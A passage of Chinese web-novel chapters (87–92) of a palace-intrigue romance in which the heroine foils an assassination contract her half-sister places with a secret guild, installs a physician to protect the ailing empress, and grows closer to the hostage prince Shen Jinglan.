“瞪大眼睛看清楚,是爹成心隐瞒,贪慕权贵,我娘并不知道爹在老家有白姨娘,爹和白姨娘也没过官府,男女亲事不过官府是什么意思,你自己心里应该清楚。” “我娘是名正言顺,从来都没有对不起任何人。” “你如果不相信,尽管去宥阳府衙查看,还有你和白姨娘在宥阳的那几年,也是我娘在一直暗中照拂。” “若是没有我娘,你以为你们母女能活到现在?” “白姨娘家的亲戚,无名无权,资质平庸,连举人都没考上,凭什么得到当时任职中书省中书舍人的格外关照,还特意写了一封举荐信?” 王首青是何等的玲珑心思,怎会不知温承德养着白姨娘母女? 没有王首青的默许,暗中周旋,圣人估计早就找到温承德和白姨娘头上了。 温清柔知道温承德和白姨娘的亲事没过官府,要不然早拿着婚书去告大理寺告状了。 娘亲告诉她,当年爹进京赶考之前答应娘,考中就会回老家娶她,爹一举得中进士,本以为苦尽甘来,没想到让王首青抢了先。 那个时候娘已经怀了她,是王首青毁了她们母女一辈子。 要不是爹来信说会带她们去上京城过好日子,并在老家买了宅子时常接济,她们母女都不知道要如何活下去。 明明明是王首青悍妒跋扈,抢了正妻的位置,百般阻拦不让爹把她们接过来。 她看着那封举荐信,温若初告诉她是王首青一直在暗中帮扶他们。 她和娘气忍气吞声,吃了这么多年的苦算什么? 她娘才是爹的正妻,她是博阳侯嫡女。 没有王首青和温若初,她和娘早在这上京城里过风光日子了。 温若初不知从哪里弄来一封信,倒好像她欠她的一样,真是可笑! 错的是王首青,是温若初。 对,就是这样!! 第87章 争宠 温清柔目光呆滞,手里举荐信攥成皱皱巴巴的一团,无意识地摇头,口中喃喃自语。 “不可能,绝对不可能,”瞪大眼睛,满是恨意的目光看着温若初,“一定是你伪造的,你娘害得人骨肉分离,你就伪造了一封信包庇。” 疯癫地大笑两声,“你想让我和娘亲原谅王首青,做梦!哈哈哈!” 大家都是受害者,若是没有温承德最开始的故意隐瞒,怎么会有接下来发生的事,到温情柔嘴里都是她和王首青的错了。 温若初冷眼看着温情柔,暗骂一声,“疯子” 温情柔这个样子也不能留在灵堂守灵了,吩咐人进来把温情柔送回去,明日吊唁的宾客们来,她这个样子不够丢人现眼的。 两个小厮架着温情柔的胳膊就往外拖,温情柔双目赤红恶狠狠盯着温若初。 “你和王首青抢走了我和我娘的一生,你又杀了我爹娘,我不会放过你的,你等着——” 温若初等着温清柔如何不放过她,温清柔手里除了一个假意投诚安王的上官,没有其它筹码和她斗。 那个上官男生女相,一身阴柔邪气,这样一个人侍奉在女皇身边,温若初不放心,早就想动上官了。 温承德因罪赐死,来吊唁的人没多少,温清柔到底是没疯,被温若初撵出去第二天乖乖换上麻衣孝服为温承德和白姨娘守灵。 王首青生前和温承德分院而住,温若初做主,没让两人合葬一处,白另寻一处葬了温承德,白姨娘以妾室礼制埋在温承德旁边。 忙了十几日,温承德和白姨娘的后事终于处理完。 前阵子托沈惊澜找会针灸按摩擅长给年长妇人诊病的郎中,这日刚好到了,郎中姓胡,在闽州那一片人称妙医圣手,很有名气。 温若初基本可以确定女皇和她有血缘关系,出于个人情感,温若初是真心希望女皇长命百岁。 书中描述女皇这个冬天生了一场大病,没熬到开春就驾崩了,但愿这位胡大夫能给女皇续续命。 她倒是想看看那个上官是帮女皇诊病,还是想要女皇的命。 不管是哪种,那个上官都不能继续留在女皇面前。 温若初让胡大夫等候在女皇寝宫外,宫人通传后,走进寝宫。 女皇撑着胳膊靠在贵妃榻里,好像很疲惫的样子闭着眼睛,上官一袭单薄素衣跪坐在女皇面前,按揉女皇大腿。 寝殿内光线明显偏暗,带着清淡香气的袅袅青烟从香炉里缓缓升起。 温若初瞄了一眼上官,眼神警惕而犀利,很快收回视线,深吸一口调整表情,跪地行礼。 “小初叩见外祖母,外祖母万岁万岁万万岁。” 半晌后,女皇撩开眼皮瞅了她一眼。 “大冷天的,别跪着了,快起来,怎么瘦了?过来,朕瞧瞧。” 温若初上前,抬腿蹬下鞋子,二话不说直接歪倒进女皇怀里,拦在上官和女皇之间。 上官的手悬空,低头瞅了一眼温若初,阴柔的目光中,快速划过一抹旁人难以注意到的恨意,很快恢复正常。 女皇愣了一下,自己养大的小娃娃,上次这么对她撒娇已经是十几年前,骤然来这么一下,觉得甚是有趣,顺势把温若初搂在怀里。 笑着嗔怪:“多大的人了,毛毛躁躁的毛病改不了!” 温若初往女皇怀里缩了缩,“小初想外祖姑母想得紧,想和外祖姑母说说话。” “你啊。”女皇不轻不重拍了温若初一下。 芳若站在一边跟着笑了笑。 上官轻声提醒,“郡主动作轻柔些,圣人最近身子不适。” 祖孙俩笑声戛然而止,女皇眉头蹙了蹙,抬头对上官摆摆手。 “无妨,你下去吧。” 上官暗暗咬了咬牙,挤出一抹不达眼底的笑意,恭顺行礼。 “是。”低头退了出去,礼仪和态度上挑不出一点错处。 温若初暗道这个上官能走到女皇面前,果然不简单。 想当她外祖姑父?那是做梦! 她瘪瘪嘴,滑跪在地,“外祖姑母身子抱恙,小初思念外祖姑母情难自禁,伤到的外祖姑母,请外祖姑母责罚。” 女皇吓了一跳,“傻孩子,朕又没怪罪你,快起来。”拉着温若初坐到身边。 温若初头埋得低低的,像是刚想起来什么似的,看向女皇的眼神满是关切的期翼。 “小初一直挂心外祖姑母龙体,特意寻了一个妙医圣手,请来为外祖姑母调理龙体。” “好好好,”女皇连连说好,慈爱地抚着温若初的头发,“朕的小初长大了,知道关心外祖姑母身子了。” “我心里一直都挂心外祖姑母身子的。” 祖孙说笑一阵,温若初不着痕迹把话题拐到王首青身上。 “马上就是母亲的忌日了,外祖姑母能否恩准小初今年去母亲离世的地方祭奠一下?” 话音落地,女皇脸上笑意缓缓退去,被一种类似落寞和愧疚的情绪取代,似乎是想起了什么伤心事,连话都不接了。 芳若笑着接过话茬,“当年的王大人惊才绝艳,果断卓绝,配得上天下第一奇女子,”长叹一口,“只可惜天妒英才,红颜薄命,圣人每每想起甚是惋惜,每年的祭奠都格隆重,郡主无需担心。” 当娘王首青是被召入宫,突发恶疾暴毙,温若初始终觉得王首青的死因有蹊跷。 温若初自认不是一个爱较真的人,但王首青的死就像是她的一块心病,如影随形,抹不去划不掉,堵得人心里难受。 有温承德之事在前,只能旁敲侧击试探女皇态度。 女皇缄默不言,芳若遮遮掩掩,更加确定了心中猜测。 温若初面上不显异色,勾了勾唇角。 “仿若姑姑说的,劳烦姑姑费心了。” 怕女皇多想,赶紧岔开话题,差人把胡大夫传了进来。 胡大夫跪地行礼,“草民胡庸叩见圣人,圣人万岁万岁万万岁。” 胡庸四十多岁,身材微胖,面相憨厚一脸和气,中规中矩的长相。 女皇坐在软榻上,眯着一双浑浊的眼睛打量胡庸,拧着眉头,好像不是很满意。 温清柔借助安王之手把上官送到女皇面前,走了温若初曾经的老路。温若初从穿过来的那天就决定不干这等腌臜事了。 寻大夫的时候,只顾着医术高超,没在意相貌。 暗道:坏了,女皇可能误会什么了。 胡庸可能留不下。 温若初打量女皇神色,眼瞅女皇要张嘴说话,赶紧建议道。 “不如先让胡大夫为您诊诊脉,也试试胡大夫的医术水准?”就算是留不下胡庸,也想看看那个上官有没有对女皇的身体做手脚。 女皇迟疑着答应,胡庸铺了一层纱巾在女皇手腕上,神色严肃地把食指和中指隔着纱巾搭在脉搏上。 第88章 雇凶杀人 胡庸捋须沉思良久,放下女皇手腕。 “敢问圣人近来可有食欲不佳,嗜睡之症?” 女皇神色正了几分,最近食欲确实不怎么好,还经常嗜睡。 “有几分本事,你有法子?” “有。”胡庸定定答道。 求得女皇恕罪之后,胡庸在女皇后背重重拍了三下。 女皇缓了缓神色,长长吐出一口气,面色明显较方才好转,重新问了胡大夫名字。 胡庸说得委婉,总结一句话,就是女皇身体康健,只是缺少运动积食了,说完余光别有深意地瞅了温若初一眼。 温若初悬着的心放下,这会应该是稳了,嘴角笑了笑。 “有胡大夫这样的妙医圣手盯着外祖姑母的身体健康,小初也就放心了。” “小初就不打扰外祖姑母歇着了,小初告退。” 女皇点点头,“带来的这位胡大夫医术果然高明,过阵子雍国使团来访,朕得攒足了精神,这个胡大夫就留下吧。” 胡庸赶紧跪地叩谢皇恩。 温若初道:“胡大夫第一次侍驾,容小初叮嘱胡大夫两句。” 女皇点点头,“去吧。” 温若初离开之后,女皇神色落寞地叹了一口气。 “她怀疑朕了,朕要不要把首青死的真相告诉她?她该不会记恨上朕吧?” “知道真相未必是好事,”芳若轻声劝慰道,“若初郡主自小懂事,血脉亲情在那摆着呢,不是还给您举荐了一位妙医圣手关心您身子?” 女皇神色这才缓了缓,点点头,到底是自己延续下来的血脉,不管怎么着都和自己亲。 温若初带胡庸出了女皇寝宫,四下看了看,确定无人,才压低声音问道。 “怎么样?” 胡庸面色凝重,眉头紧锁,“圣人脉象很怪,瞧着是脉象浑厚身体康健之状,可……” “有话直说。” “寻常法子切脉看不出来,我也是琢磨了好一会才确定,圣人气血不是一般的亏损,像是被什么东西掏空了,那康健只是表状,长此以往怕是活不过明年开春。” 温若初倒吸一口冷气,对胡庸行了一礼。 “劳烦胡大夫调查圣人病因,为圣人续命,小初感激不尽。” 胡庸赶紧扶起温若初,“阁主对我有恩,阁主既然让我听命于郡主,我定当竭尽全力。” 温若初叮嘱胡庸有事及时派人传话,注意一个叫上官的人,才离开皇宫。 当天下午就把芳若姑姑约了出来,胡庸的话原原本本地转述给芳若。 人到年纪了都惜命,那上官在女皇面前不过是一个玩物罢了,女皇能走到如今位置,什么事没见过,见识到胡庸的真本事,自然会摒弃歪门邪道。 或许是芳若也早就察觉到了,在女皇面前说了什么,胡庸侍驾之后,女皇召见上官的次数明显少了。 雀儿街巷温清柔院子 凌妙穿着宽松的衣裳,脸色难看地坐在上手位。 “你推荐的那个上官也不顶用啊,这才几日就被一个老头顶下去了,御书房那边有什么消息都传不出来,废物。” 温清柔坐在椅子里,端着茶盏漫不经心地刮着茶沫。 “凌小姐推荐一个人进去,把温若初的人顶下去?” “你!”凌妙被噎了一下,剜了温清柔一眼,“我能找到还用你做什么?” 温清柔抿了一口茶水,不紧不慢地劝说。 “凌小姐莫生气,动了胎气可就不好了。” 温清柔不说还好,一提起这个凌妙更生气了,莫易宇那个死鬼背着她在外面养别的女人,还连累了他们安王府,害得她年纪轻轻成了寡妇,还带着一个孩子。 凌妙心里恨意难消,她本是安王府身份尊贵的嫡小姐,圣人唯一的嫡亲孙女,竟然沦落到如此田地,这一切都是拜温若初所赐,要不是温若初吃饱了没事闲的首告什么雍国细作,她又怎会如此。 凌妙眼神放空盯着面前一处,捏着座椅扶手的指腹泛白,咬牙切齿。 温清柔瞄了一眼凌妙,果然又被她的三言两语激怒了,像是想到什么伤心事似的,拿出帕子摸了摸眼底。 “我爹娘都被温若初害死了,温若初深受圣人宠爱,只可惜我一介女子,纵然是有心为父报仇,也没有那个力啊。” 这句话和凌妙达到了共鸣,“还是你不想,你是温家二小姐,你若是有必杀温若初的心,温若初早死了,哪还会有后面这些事,你不为父报仇就是不孝。” “我是温家二小姐,可温若初不让我回府,我也只能委身在这个逼仄小院苟活度日,连接触温若初的机会都没有,去哪里尽孝啊?” 凌妙眼珠子一转,“你可以雇凶杀人啊,不用你自己出面,还能达到尽孝的目的。” “雇凶?”温清柔做出一副震惊害怕的样子,“那能行吗?” “有什么不行的,找一个信得过的,武功高强,嘴巴严实的,事后人不知鬼不觉,没人能查到你头上。” 温清柔若有所思点点头,“我倒是真听说过,我的一个朋友说最近江湖新兴起一个叫天机阁的组织,主要贩卖情报,帮人处理麻烦,比如杀人的买卖也是接的。” “天机阁各个武功高强,保密性也极强,如今还没有人见过天机阁阁主真面目,若是天机阁出手杀温若初,温若初必死无疑,只是……” 凌妙等得直着急,“只是什么?” 温清柔为难地笑了笑,“天机阁要价太高,寻常人出不起。” “人家有那么大本事,自然要价高。” 凌妙心思活络起来,眼神发亮,好像看到了世仇死在面前的样子。 “你去打听打听要多少银子,这银子,我出了。” 第89章 沈男模 有间书坊二楼。 追风对沈惊澜汇报雍国近况,“沈飞白率领的雍国使团已到达岭北,近日抵达上京。” 沈惊澜坐在椅子里,淡淡地嗯了一声。 雍国六皇子沈飞白派到大虞的探子,被他和温若初打掉了,女皇屯兵两国交界处,给雍国施压。 如他所料,雍国四分五裂,无力一站,那些养尊处优的蠹虫才没那个背水一战的骨气,果然派了使团过来求和。 沈惊澜原打算让范天恩过来,借机回雍国,料理了雍国皇室那些渣滓,待稳定之后光明正大迎娶温若初。 也不知道沈飞白和老皇帝说了什么,沈飞白居然有胆量亲自来了。 如此一来,就要转变一下应对策略了。 雍国惯例,皇帝薨逝皇子加封亲王,沈惊澜大虞为质,若是顺利回国,当记上一功。 雍国老皇帝十三个儿子,谁都不愿意多一个人来分他们的羹。 沈飞白定然也不愿意让他回去。 沈惊澜敛眉,拇指摩挲指腹,沉吟半晌,注意到追风手里拎着一个看起来很重的包裹。 “什么?” “哦!” 追风把手中包裹哗啦一下放到桌上,首饰玉器金条散落一堆,粗略估算价值一千两,是天机阁的常价。 追风眉飞色舞地对沈惊澜解释。 “底下的兄弟接了一单杀人的买卖,”神秘兮兮地问沈惊澜“阁主,你猜是要杀谁?” 沈惊澜直觉这个人他认识,看都没看手边那些金银珠宝一眼。 “谁?” “温若初。” 沈惊澜脸色倏变,幽深晦暗的眸子射出如刀子一般的目光,泛着森森冷意。 “雇主是谁?” “也是熟人,温清柔。” 半炷香之后,那堆价值一千两的首饰玉器金条出现在温若初房间。 温若初眼神发亮。哗啦啦摆弄金银玉器。 “我的命在你们天机阁就值这么点银子。” 沈惊澜:‘……’ 沈惊澜坐在温若初对面,一脸阴沉,他拿这些东西回来,是告诉温若初,温清柔对她动了杀心,温清柔能雇他们天机阁,自然也能雇佣别的杀手。 他能护住温若初,却难免有疏漏,过些日子他回雍国之后,实在放心不下,此话意在提醒温若初小心。 温若初这副不以为意的样子,好像并没放在心上。 沈惊澜实在忍不住提醒道:“温清柔对你动了杀心!” “温清柔对我动杀心,又不是一天两天了。” 白姨娘死后,温清柔手里基本上没有入账。 胡庸侍驾后,上官受到冷落,安王府和温清柔定少不了交集。 买凶杀人这等低劣手段,不像是凌肃所为。 这些金银玉器首饰……若是没猜错,应该是凌妙瞒着安王凌肃偷偷凑的。 “怎么——” 温若初拉着长调,突然探过身子凑近沈惊澜,低声问道,“阁主大人不会是亲自来动手的吧?你舍得杀我?” 两人之间的桌子很小,温若初这么猝不及防地一探身,两人距离骤然拉近,呼吸纠缠在一起。 “舍得吗?”有又问了一次。 沈惊澜望着近在咫尺的温若初,她眼中那抹俏皮与狡黠,让他竟有片刻的失神。 在那一瞬间,他忽然觉得,这世间似乎没有什么能比此刻这双灵动眼眸更吸引人。 心底那点怒意瞬间被另一种不可名状的欲望所取代。 这一次他没躲,反而有些期待接下来会发生的事,墨黑深邃的眸子里好像有什么在燃烧,逐渐变得灼热起来,喉结不觉上下滚动一下。 温若初见沈惊澜不答,眼神已经告诉了她答案,她嘴角勾起一抹弧度,心中那股冲动愈发强烈。 她向来是个敢爱敢恨的性子,此刻面对沈惊澜,再也按捺不住心底那份情愫。 又往前探了探,蜻蜓点水一般轻触上那两片泛着凉意的薄唇。 这还是两人第一次在清醒的状态下接吻,好像水到渠成,又有些猝不及防。 最近忙着温承德和白姨娘后事,忽略了沈惊澜,前阵子答应沈惊澜补给他一段甜蜜恋爱的,一直没得机会,正好今日得空,又有了银子,可以和沈惊澜出去约会。 宫中传出的消息,过几日雍国使团来访大虞。 书中没有这段,她已经改变了沈惊澜的命运轨迹,沈惊澜是要做雍国皇帝的,这次使团来访是难得的合理回国机会。 她和沈惊澜剩下的相处时间不多了。 这样俊美的一张脸,住在她身边这么长时间,却没有好好享用,总觉得亏了,必须趁这段时间找补回来。 青天白日的也不能做什么,温若初原本只是想简单亲一下,没想到四片唇瓣刚刚分开,她的后脑勺被一只大手扣住。 沈惊澜粗粝的舌头蛮横地侵略她的口腔,加深了这个垂涎多日的吻。 温若初有些意乱情迷,等她回过神的时候,不知道什么时候面对面坐到沈惊澜的大腿上,脸颊绯红,被动又有些渴望地接受沈惊澜的吻。 沈惊澜双手环住温若初腰肢,不知道想到了什么?唇瓣贴着温若初的耳廓,低声问道。 “酒坝南莫是谁?” 嗓音低沉又克制,夹杂着几分寒意。 温若初知道沈惊澜问的是“酒吧男模”,这小子的记性怎么这么好,多长时间了还记得这事呢? 她心中警铃大作,嗅到了一丝危险的味道,她大脑飞速运转,咧嘴嘿嘿一笑,捧着沈惊澜的脸颊,讨好似的吧唧亲了一口。 “你啊,你就是酒吧男模。” 沈惊澜这张脸俊逸得堪比天人,说她是酒吧男模有点侮辱人,可她短时间内实在不知道如何圆回来。 沈惊澜眼睛亮了亮,想起第一次从温若初嘴里听到这两个词,好像很久之前了。 温若初的这句话好像对沈惊澜格外受用,耳边寒意退去,落在她鬓边一个轻吻。 沈惊澜将她搂在怀里,很用力,很用力,鼻尖还凑在她的颈窝贪婪地轻嗅。 温若初被勒得有些喘不过气,余光瞅见桌子上的金银珠宝,赶紧轻轻拍了拍沈惊澜,示意他停下。 沈惊澜在床上什么德行她体会过,一会擦枪走火情难自禁控制不住,什么都不用干了。 沈惊澜满是情欲的眸子狐疑地看着她,拧了拧眉,似乎对温若初的突然叫停不大满意。 温若初道:“松手,姐带你出去潇洒快活去。” 第90章 好聚好散 温若初特意换上了一身和沈惊澜衣裳颜色相近的男装,还告诉沈惊澜这叫情侣装,扛着温清柔赞助的价值一千两金银玉器,一起出门。 还买了两个面具戴在头上,不是阎罗面具,是年画里的大头娃娃,笑嘻嘻的一脸喜气,两人这身行头走在街上,没人认得出来。 温若初说带着她的“买命钱”潇洒快活,沈惊澜以为温若初要去酒肆茶楼戏院,甚至依照温若初的个性,有些荒唐地想到了秦楼楚馆。 唯独没想到温若初将那些金银玉器兑换成银票之后,带着他去的地方居然是米行。 一千两银子,一连包圆了好几家米行存货,叫来女学的学生开设粥棚,给那些食不果腹的流民百姓施粥发粮。 领粥的百姓很快排起长队,念叨女学的学生是救苦救难的活菩萨。 温若初和沈惊澜戴着面具,远远看着学生们分发食物。 沈惊澜疑惑着问道:“此等歌功颂德的好事,你为何不自己去发做?” “如果顺利,这帮学生明年就可以参加春闱了,得中者入朝为官,少不了和百姓打交道,先帮她们积攒点名声,官场如战场,总有亲疏远近,有百姓基础,政令通行至少能方便些。” 沈惊澜侧目看着温若初,明明是一个不到二十岁的女子,却在她身上看到了一代贤臣的影子。 大虞若满朝文武皆是如此,雍国没有任何胜算,甚至做敌国对手的资格都没有,不出几年必将被大虞悉数吞并。 正经不过两句话,温若初话锋一转,“反正银子不是我的,该省省,该花花,这叫破财免灾。” 沈惊澜:“……”那些银子是她的吗? 温若初说好带沈惊澜快活,按照她的节奏习惯,谈恋爱三件套,吃饭逛街看电影。 数九寒冬的不能逛街,带着沈惊澜去一家名为锅肉的地方,差不多就是水煮肉和温若初最爱的火锅差不多,吃了一个肚圆。 没有电影院就用去戏院代替,只是温若初实在没有那艺术细胞,戏子哼哼唧唧的差点没听睡着。 一个流程下来,天色渐晚,上玄月挂在树梢,鞋子踩在雪地里发出嘎吱嘎吱的声响,两人十指相扣,并排走在一起。 “马上十五了,”温若初突然问道,“你上个月,还有上上个月怎么过的?” 沈惊澜身上的寒毒伴随终身,恢复武功也只能是缓解。 “呃……” 沈惊澜面上闪过一丝尴尬,自从发现男女交合能解寒毒之后,月圆之夜总是不觉想起那晚,然后自己纾解,没有神清气爽的效果,也比之前硬抗要来的轻松得多。 含糊其辞道:“就……过来了。” 两人走进苍兰苑,正房和厢房分叉路口,沈惊澜没松开手,询问的眼神看着她。 温若初到底是从小看无脑玛丽苏恋爱剧长大的,秒懂沈惊澜的意思。 这事让她怎么说啊? 想跟着来就直接跟着呗! 纵然温若初神经大条,没心没肺,也不好意思开这个口。 “郡主您回来了。”月儿提着灯笼过来,给温若初行礼一个礼。 两人的手自动分开,萦绕在温若初和沈惊澜之间的暧昧拉扯瞬间被切断。 月儿年纪小,丝毫没意识到黑灯瞎火两人在这干嘛呢。 “奴婢给您熬煮了梨,现在用刚好。” 温若初略显无措地搅弄着帕子,对沈惊澜道。 “那个……时辰不早了,早些歇息。” 沈惊澜点点头,一整天那双黑眸都亮晶晶的,此时突然暗淡下来。 温若初领着月儿回屋,临到门口,回头瞅了沈惊澜一眼,娇俏灵动眸子碧波涌动,微微低头笑了笑。 温若初喝完梨汁,洗漱入睡,还没等睡着,窗户忽然被人打开,一道模糊黑影出现在她床边。 温若初心里一惊,还没等她坐起身,或许是怕吓到她,那黑影出声道,“别怕,是我。” “沈惊澜!”温若初惊喜道。“你怎么来了?” 像之前每次一样,动作自然地往里蹭了蹭,让出位置。 沈惊澜直接躺到温若初身边,“不是郡主让谨之来的?”语气无辜。 温若初:“……” 得了便宜还卖乖,故意戏弄她是吧? 就算是,也不能说出来啊,她不要面子的吗? 温若初翻了一个身,背对沈惊澜。 “早点睡吧。” 沈惊澜规规矩矩地躺在温若初身边,心境有些不同了,像雄性动物有了领地意识,这个人现在是他的了。 沉默片刻,往里挪了挪,温若初没反应,又过了一会,手搭在温若初腰上,或许是人睡着了,依旧没反应,动作轻柔地揽着温若初的腰,把人捞进怀里。 闭着眼睛感受怀里人的气息。 黑暗中温若初等了半天,沈惊澜也没有进一步动作。 温若初:“……” 这人真听话,大半夜翻窗进来,就是为了这…… 温若初叹了一口气,回想起中chun药那日,沈惊澜那情难自抑的样子,也不像是性冷淡啊? 罢了,沈惊澜从小缺爱,一步一步引导着来吧,到底是思想观念相对保守的古代,若是过于主动,倒是显得她轻浮了。 然而,上苍并没给她循序渐进的机会,她和沈惊澜刚刚有所进展,雍国使团到访大虞的时间比所有人预想的都要快,三日后便到达上京。 沈飞白还装模作样兄友弟恭似的,把沈惊澜接去了驿馆。 水仙是沈飞白精心培养的暗探,被温若初和沈惊澜两人联手拔了,才有了这才雍国使团来访,沈飞白心里恨足了温若初和沈惊澜。 沈飞白的确是来道歉的,推诿是底下人会错了意才致使发生水仙的事,并且割让了几十年前侵占大虞后来划分到雍国的三座城池。 女皇接受了三座城池,并没有计较沈飞白的说辞,时至今日,经过多轮商谈,细作的事才算是彻底了了,两国重修旧好。 在此期间,温若初给女皇递过口风,让沈惊澜回去。沈惊澜雄韬伟略,识人善用,不能委身于她做一辈子抬不起头的面首。 雍国才是他大展拳脚之地,更何况沈惊澜的母亲是被雍国皇帝和大皇子凌虐致死,沈惊澜得回去把这个仇报了。 女皇没说放不放沈惊澜,温若初知道,沈惊澜也一定在暗中寻机回雍国,必然不会放过这次机会。 不管沈飞白愿不愿意让沈惊澜回去,她和沈惊澜一明一暗配合,这次必须解除沈惊澜的质子身份回雍国。 女皇设宴宴请雍国使团,部分朝臣以及家眷作陪,温若初也在受邀之列。 算起来有一阵子没见到沈惊澜了,温若初盛装打扮,打算宴席过后和沈惊澜好好地道个别,好聚好散。 第91章 温若初:又来买我的命! 醉仙楼包厢 “这位小哥,一千两银子我可是交给你们了,温若初的人头什么时候送到。” 温清柔坐在椅子里,头戴帷帽,面上遮挡着黑色面纱。 昨日去万宝阁选首饰,亲眼看着掌柜的拿出一套紫金掐丝镶珠簪子,雍容华丽非常,一眼便相中了,问过才知是温若初定制的。 玄澈哥哥已经不信任她了,最近经常在她面前提温若初如何如何,明显就是对温若初旧情难。 银子都花出去好几日了,温若初依然潇洒快活,温清柔心中醋意翻涌,怒火难消,她只能托居间人联络到天机阁的人问问。 和温清柔见面的是追风,追风只在沈惊澜面前规矩些,平日我行我素,给人一种不羁神秘,又很厉害的错觉。 追风头戴面具,翘着二郎腿坐着,面对雇主的责问,不以为意。 “我们可是派出二等杀手去刺杀,可温若初命太硬,几次都没得手,这可怨不得我们。” 温清柔不愿意了,“那可是一千两银子,你们不是给钱就办事?要不了一个女子的命?” “那温若初可是郡主,身边都一个武功高强的随从,好像姓冯吧,不得手,也是正常。” “一千两银子只能是二等杀手,二等杀手水准有限,要不您就在等段时间,等哪天寻到机会了就去刺杀,您若是实在等不了,就再添点银子,雇个一等杀手。” 温清柔大声质问,“你之前也没说杀手还分一等二等?现在管我要银子,你们天机阁说话不算话。” 追风:“这话我可不认啊,我们也没说毁约,是你自己嫌弃慢,我只是好心给您提供一个合理的建议。” 温清柔生了一会儿闷气,不情愿地妥协。 “再添多少?” “三千两。” “三千两?你们怎么不去抢?” “一等杀手人员稀缺,手上订单爆满,就这还是看在您的面子上插队呢,再补两千两就成。” 温清柔愤懑地咬了咬牙,“等着!” 温清柔离开醉仙楼后,直奔安王府,幸亏上官这张王牌还留在圣人身边,安王府还能她所用。 宴请雍国使臣这日,温若初一身红蓝相间华服出现在未央宫,头上插的簪子,正是温清柔在万宝阁看中的那只。 簪子上缀着红珊瑚珠流速,走动间摇曳轻摆,衬得本娇俏灵动的人,多了几分雍容华贵之气。 她到未央宫的时候,安王,景王,淮王,王丞相还有其他几位大臣以及家眷都到了,临近天子主位有两排空位。 凌妙坐在一边搭眼就瞧见了温若初,偷偷卖了家里几幅古画凑了两千两银子,让温清柔雇一等杀手,温若初嚣张不了多长时间。 温若初一进门就感觉都了凌妙敌意,昨天晚上追风就把从温清柔那诓骗来的银子给她送去了,念在银子的份上,凌妙爱怎么看她就怎么看她吧。 胡庸传信出来,已经确定上官在女皇身体里动过手脚,只是没有明确证据,全凭胡庸经验判断,如今只等上官露出马脚,除掉上官,而举荐上官入宫的安王可就解释不清了。 由太监引着坐到自己的位置,温若初刚落座没多久,分两列走进来一队人,直奔预留出的两排空座。 领头的三十多岁浓眉大眼,留着八字胡,一脸精明相,身穿青蓝色锦袍,正是雍国六皇子沈飞白,也是沈惊澜名义上的六皇兄。 雍国使团是今天宴会的主角,或许是提前做过功课,沈飞白没等入座就和大虞勋贵们寒暄,所招呼之人或是宗亲或是权臣。 沈飞白身边跟着一男一女,若是温若初没猜错的话,那一男一女应该是日后沈惊澜一统雍国的助力之二,范家兄妹,范天恩和范叶飞。 沈惊澜跟在队伍中下位置,一身月白长袍衬得人愈发清瘦几分,还是那副命不久矣的短命相。 未央宫的人很多,像是察觉到了什么,抬眼就对上了那双娇俏灵动的眸子,停顿片刻,又很快移开,跟着使团的人落座,座位也靠后,像是一个小透明。 温若初正要起身和沈惊澜打声招呼,就看到沈惊澜自顾坐下了,只在进门的时候,看了她一眼,然后就像不认识她似的,静静坐在那里低着头。 沈惊澜装作不认识她,温若初也只好装作不认识沈惊澜好了,收回落在沈惊澜身上的视线,和王安如说话。 沈惊澜余光始终落在对面温若初身上,只是他微微低着头,平常又善于隐藏,除了他自己没人注意到他那灼热中载满情意和思念的目光。 安王如凑到温若初身边,压低声音。 “表姐,我听说沈惊澜要解除质子身份跟随使团回雍国了。” 温若初点点头,这事她也是来的路上听经常给她传话的小宫女说的。 原本女皇是不同意沈惊澜解除质子身份的,但一个时辰前沈惊澜去找了女皇,也不知道沈惊澜是怎么说的,女皇同意了。 一个时辰前的正德殿。 沈惊澜跪在大殿中央,女皇面前。 “圣人圣明,臣不愿跟随使团回国,还望圣人成全。” “哦?”女皇高坐龙椅之上,疑惑问道。“雍国是你母国,你居然不愿意回去?” 沈惊澜解释,“边境三城是六皇兄沈飞白属地,一旦臣的父皇去了,六皇兄必然拿回边境三城……” 边境三城是作为赔礼刚刚划归给大虞的城池。 女皇重重拍了一下桌案,一脸怒容,指着沈惊澜。 “雍国若是敢出尔反尔,朕第一个就要了你的命!” “臣知道,圣人可随时要了臣的性命。” 沈惊澜重重把头磕在地上,姿态摆得极低,语气悲切。 “臣的母妃死于父兄之手,臣……臣每每念及母妃,便心如刀绞,实在无法面对父兄,今臣来此求见圣人……” “……只是想表明臣的想法,大虞待臣不薄,臣只想留在大虞苟延余生,臣母妃送臣来大虞之前,亦是如此告诫于臣。” 第92章 沈惊澜是温若初养在府里的面首 许是沈惊澜三句话不离母妃,触动了女皇,她面色缓了下来。 “那你不是更应该回去为你母妃报仇?”小声嘀咕,“没出息!” 顿了顿,继续说道,“朕知道了,你先下去吧。” “是。”沈惊澜恭敬退了出去。 沈惊澜原本以为要在沈飞白和女皇之间斡旋一番,才能解除质子身份。但见了沈飞白之后,他改变了想法。 沈飞白这人大概是被大皇子逼得急了,过于急功近利,表现自己,这几日经常扬言雍国必须结束四分五裂局面,还多方试探,试图得到大虞皇帝的支持。 殊不知大虞皇帝年龄偏长,执政二十几年,从近些年的推行的政策来看,大虞女皇现在力图求稳。 大虞女皇需要的是一个半死不活的邻居,而不是一个虎视眈眈假意臣服的猛兽。 沈惊澜以弱者姿态蛰伏大虞上京多年,也终于等来了机会。 当然,沈惊澜和女皇的谈话,温若初无从得知,只是后来从政德殿传出消息,女皇拟修改合约,加上释放质子沈惊澜回雍国这一条。 温若初得知消息的时候,暗暗松了一口气,这些日子以来悬在心口的石头终于落下。 至少不会发生书中沈惊澜活埋五千大虞骑兵的事,温若初也避免了自己被剁手剁脚做成人彘的悲惨结局。 沈惊澜也在朝着既定命运发展,温若初也深知等着沈惊澜的是龙潭虎穴。 沈惊澜的母妃是寒族公主,以和亲的名义嫁给雍国老皇帝,不久之后被大皇子侵犯。 按照他们的逻辑,出了这种事,就是女子的不对,就是女子蓄意勾引。 雍国皇帝不愿宫闱丑闻外泄,又要顾全族寒族,没有合理理由处死寒族公主。 只能把这位寒族公主囚禁在冷宫,任其自生自灭,可没想到九个月后,这位寒族公主诞下一个男婴,也就是沈惊澜。 按月份,沈惊澜应该是雍国老皇帝骨血,那位天真的寒族公主本以为凭借这个孩子,老皇帝看在孩子的面子上,境况会有所改善。 可雍国老皇帝压根不缺儿子,更何况底是大皇子和宠妃出过丑闻,愈发痛恨这对母子,任由宫人凌辱,几次三番派人暗杀。 沈惊澜也就是在那个时候被自己的母妃下了寒毒,整日一副命不久矣的样子,来自亲生父亲的暗杀,才逐渐停歇。 